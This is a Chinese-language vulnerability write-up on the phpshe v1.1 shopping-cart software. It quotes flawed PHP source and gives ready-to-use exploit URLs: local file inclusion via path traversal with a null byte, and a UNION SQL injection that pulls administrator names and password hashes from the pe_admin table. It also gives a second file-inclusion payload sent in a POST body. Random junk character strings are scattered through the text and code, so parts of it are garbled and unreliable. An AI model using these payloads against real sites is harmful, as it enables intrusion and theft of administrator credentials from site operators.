phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
" h/ L8 V0 C* }" J2 \/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
( Q! P3 p8 W3 y( K7 h. j/*******************************************************/
0×00 整体大概参数传输
% m6 ^* J# V  Y% D" @# J
% p" J5 k5 {+ B) x9 t  M3 i4 ]
: R% N4 G- ~2 C) z% d4 A) c: H
$ @/ X$ e- b. S//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
! r# A& z+ R2 N* u- e7 @0 ]- i!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
& e" V( Q6 @2 V2 d/ f: v}
& l' S9 O+ \) J, Uelse {
% }2 J7 h: }) ^, s/ E- F!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. S7 Y( g% J( F9 }  ^/ f1 Q}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 B% w9 v' S9 t: U% b- D5 v; A  M% f!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


; ^$ H* R# \- V3 X( f//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- b! l; M- W1 P# G+ y) P7 Zinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* V( S' D7 V: k0 Ype_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
& T/ U: K+ z! B7 y# s$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
2 j; y) Z0 b. w8 \3 @$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

3 ]) ]) Y: U3 Y; [& [
; }4 }4 p/ X% o1 M' w2 S 0×02 搜索注入
) {7 @9 h+ B, s- c
<code id="code2">

//product.php文件
. J% n4 d" j' Hcase 'list':
" z. ?4 G1 E5 ^; {' d$category_id = intval($id);
4 M9 b% I! X+ g1 [6 f3 i% b$info = $db->pe_select('category', array('category_id'=>$category_id));
% H8 o2 e7 [$ E* p  _2 d; h//搜索
+ P" H* S1 o: u, R* ]' Y1 `8 W- _  I$sqlwhere = " and `product_state` = 1";
; N& X3 X2 I  W2 qpe_lead('hook/category.hook.php');
8 t* f. L0 R( ~if ($category_id) {
2 |: x% v% w9 ?, F7 bwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
2 D$ A( B0 C7 w& \/ X}
! E" _2 b; |- o( A, H0 C. k, P$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 a6 `2 M8 y3 t1 s( \, p}
+ E- E! X: Y/ @8 ?7 @- ^  d0 Xelse {
" C( K$ @5 A. {* B( ~6 G+ ~$sqlwhere .= " order by `product_id` desc";
}
8 c6 S8 K8 G! _. \$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
; Y2 j! `! b* l, C4 d$product_hotlist = product_hotlist();
//当前路径
4 H2 f9 u1 o+ k: e$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
9 \( h* J" _, v9 u8 uinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
2 f6 h$ l$ B" P; p' F: X! Apublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! Y  o: Y& F- Y- p- \$ I{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
3 y! `2 R0 I6 [$ W! z# T}
//exp
9 o/ n( U0 Q  e* ~) @product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
, Z9 t% }* h8 @# z1 b. ]" v

</code>

0×03 包含漏洞2

( M8 o/ c$ }& C) Q) Z<code id="code3">

//order.php

case 'pay':

  q/ p4 k, U/ C: p+ P0 F& Y$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

' [4 s- ?$ v2 p1 Z4 cforeach($cache_payway as $k => $v) {

1 i& M( j2 d* c1 _& j$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

3 e. g" ]. b6 e  q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 M$ ^0 e4 }! F9 W2 Y3 a}

}

  F# Z% ~: M* {4 F* p0 N4 g$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

' Z* z/ I: w2 E" P! ]  \if (isset($_p_pesubmit)) {

4 t) X' }& z' d# a- f* q( eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
3 g# p6 _" C( D* s# S

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

  r; R: y9 |6 z  V+ ]else {

pe_error('支付错误...');

* O" X% g: U! e9 G7 l}

+ o% p8 `6 ~. |) \# E; I}

' L$ U1 ]: Y  I  i$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg